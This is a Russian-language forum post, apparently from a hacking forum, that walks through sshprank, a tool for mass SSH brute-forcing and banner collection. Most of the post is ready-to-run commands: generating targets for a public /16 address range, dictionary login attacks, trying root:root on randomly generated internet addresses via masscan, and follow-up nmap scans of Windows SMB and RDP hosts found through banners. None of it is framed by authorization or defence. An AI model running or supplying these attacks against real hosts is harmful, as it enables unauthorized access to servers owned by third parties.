Интересно Sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров

A

Askobol

Original poster
Приятного ознакомления!

Эта статья посвящена инструменту sshprank, который представляет собой быстрый сканер большого количества SSH серверов. Программа ищет компьютеры с запущенными SSH и пробует выполнить вход, используя указанные учётные данные, то есть выполняет брут-форс. Ещё программа умеет очень быстро собирать баннеры большого числа SSH.

Если вы вдруг не знаете, что такое SSH, то смотрите онлайн книгу «

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

». SSH это важнейшая служба для подключения и выполнения команд на удалённых компьютерах под управлением Linux. Но SSH также активно используется на FreeBSD компьютерах и даже иногда на Windows.

Как установить sshprank
Установка sshprank в Kali Linux

sudo apt install python3-pip
git clone

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


cd sshprank
sudo pip3 install -r docs/requirements.txt
./sshprank.py -H

Установка sshprank в BlackArch

sudo pacman -S sshprank

Как создать список хостов
Программа sshprank напрямую не поддерживает диапазоны, хотя чуть позже я покажу, как всё-таки можно указывать подсети для сканирования с помощью sshprank. Поэтому для sshprank нужно создать список хостов.

Итак, я хочу просканировать диапазон 138.201.0.0/16. Для составления списка хостов я выполняю следующую команду:

echo -e 138.201.{0..255}.{0..255}"\n" | sed 's/ //' > hosts.txt

Проверим, что у нас получилось:

head -n 20 hosts.txt

1.jpg

Как запустить sshprank
В sshprank хосты можно указать следующим опциями:

-h <ХОСТ:[ПОРТЫ]> - один порт для взлома. Можно указать несколько портов, в этом
случае разделите их запятыми, т.е.: 22,2022,22222 (порт по умолчанию: 22)

-l <ФАЙЛ> - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов,
в этом случае разделите их запятыми (порт по умолчанию: 22)

То есть если мы хотим указать одиночный хост, то это можно сделать с помощью опции -h:

./sshprank.py -h 138.201.59.125

Также можно указать порты (иначе используется порт по умолчанию для SSH службы 22):

./sshprank.py -h 138.201.59.125:22,2022,22222

По умолчанию программа не выводит никакой информации, даже не показывает взломанные хосты, логины и пароли. Чтобы эта информация выводилась на экран, используйте опцию -v:

./sshprank.py -h 138.201.59.125 -v

Если не указан логин и пароль, то в качестве логина используется «root», и в качестве пароля используется «root».

Как указать файлы логинов и паролей в sshprank
Чтобы указать имя пользователя, пароль или словари с ними используются следующие опции:

-u <ПОЛЬЗОВАТЕЛЬ> - единичное имя пользователя (по умолчанию: root)
-U <ФАЙЛ> - список имён пользователей
-p - один пароль (по умолчанию: root)
-P <ФАЙЛ> - список паролей
-C <ФАЙЛ> - список комбинаций ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ

Вместе с программой поставляются крошечные словари:

  • lists/user.txt — имена пользователей
  • lists/pws.txt — пароли
  • lists/combo.txt — комбинации имён пользователей и паролей
Но словари это совсем крошечные, я бы рекомендовал использовать другие, более подходящие. Примеры вы можете найти в разделе «

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

».

Запустим sshprank в отношении одного хоста для подбора логина и пароля, для брутфорса будут использоваться указанные словари:

sshprank -h 192.168.0.100 -U user.txt -P passwords.txt -v

1.jpg

Результаты sshprank
Если бы мы не использовали опцию -v, то практически ничего не было бы выведено. Опция -v выводит информацию о попытках подключения, успешно подобранных учётных записях, а также о причинах неудачи, например:

  • [!] could not connect: - не удалось подключиться (поскольку служба SSH не запущена, либо хост вообще офлайн).
  • [!] login failure: … (auth timeout) - таймаут аутентификации — самая вероятная причина, это неправильное имя пользователя или пароль.
  • [!] login failure: … (auth failed) — сервер явно сообщил о неудачном входе (неправльное имя пользователя или пароль).
  • [!] login failure: … (pubkey auth) — не удалось аутентифицироваться из-за того, что вход осуществляется по

    Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

    .
Обратите внимание на строку с зелёной звёздочкой:

[*] found login: 192.168.0.100:22:mial:2

То есть найден логин (mial) и пароль (2) для службы на 22 порту на хосте 192.168.0.100.

Все успешно найденные логины и пароли сохраняются в файл owned.txt в текущей рабочей папке. Имя и путь до файла можно изменить опцией -o <ФАЙЛ>.

Как просканировать большое количество SSH
Мы можем указать список хостов с помощью следующей опции:

-l <ФАЙЛ> - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов,
в этом случае разделите их запятыми (порт по умолчанию: 22)

Пример запуска:

./sshprank.py -l hosts.txt -U lists/user.txt -P lists/pws.txt -v

Разобраться в выводе sshprank невозможно, если сканируется множество хостов. Чтобы постоянно не проверять вручную файл owned.txt, можно использовать следующие команды:

touch owned.txt
tail -f owned.txt

Первая команда создаст файл, если он ещё не существует. А вторая команда будет немедленно выводить все изменения в этом файле, если они будут иметь место.

Как быстро собрать SSH банеры в большой сети
Для этого используется опция -b:

-b <ФАЙЛ> - список хостов для сбора баннеров sshd в
формате: <хост>[:порты]. Множественные порты могут быть
разделены запятыми (порт по умолчанию: 22)

То есть с этой опцией можно указать список хостов в том же формате, что и у опции -l. Изменится только режим работы — вместо брут-форса будут собираться банеры.

Далее пример запуска, полученные результаты будут сохранены в указанный файл:

./sshprank.py -b hosts.txt > ssh_banners.txt

1.jpg
Мониторить содержимое этого файла можно аналогичным образом:

touch ssh_banners.txttail -f ssh_banners.txt

1.jpg
Баннеры можно использовать для различных целей. Например, можно найти все компьютеры на Windows на которых запущена служба SSH:

cat ssh_banners.txt | grep -i windows

1.jpg
На серверах Windows довольно часто открыты порты служб

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, с ними можно поиграться.

Чтобы отфильтровать хосты под управлением Windows:

cat ssh_banners.txt | grep -i windows | awk -F ':' '{ print $1 }' > windows_hosts.txt

Сканирование на

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

:

sudo nmap -iL windows_hosts.txt -p 139,445 --open

Сканирование на открытые порты

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

:

sudo nmap -iL windows_hosts.txt -p 3389 -sU -sS --open

Пример получения информации об RDP и

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

:

sudo nmap -p 3389 -sU -sS --script 'rdp-*' 138.201.134.34

1.jpg

Чтобы найти компьютеры под управлением FreeBSD:

cat ssh_banners.txt | grep -i bsd

1.jpg
По банерам можно искать старые версии дистрибутивов Linux, специфичные версии реализации SSH о которых известно, что они уязвимые, выполнять статистический анализ и прочее.

Опции masscan
sshprank использует модуль

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, а также имеет опцию -m которой можно передать опции уже в сам Masscan. Несколько примеров:

Быстрое сканирование, затем взлом найденных служб ssh. Данные для сканирования передаются в masscan (-m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'):

sudo ./sshprank -m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'

То есть диапазоны IP адресов для сканирования указываются в masscan опцией --range.

Сгенерировать тысячу случайных IPv4 адресов, затем просканировать порты со скоростью 1k p/s и найденные sshd сервера попытаться взломать учётными данными 'root:root':

sudo ./sshprank -m '-p22 --rate=1000' -r 1000 -v

Можно указать не только эти, а любые опции Masscan. Описание всех опций Masscan:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Все опции sshprank
Все опции sshprank вы найдёте на странице:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Заключение
sshprank пригодиться когда вашей целью являются SSH сервера разбросанные в большой сети или когда вам нужно очень быстро собрать банеры SSH на больших диапазонах. Например, с диапазона /16 (65536 IP адресов) можно собрать баннеры SSH служб буквально за несколько минут.


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
Последнее редактирование модератором: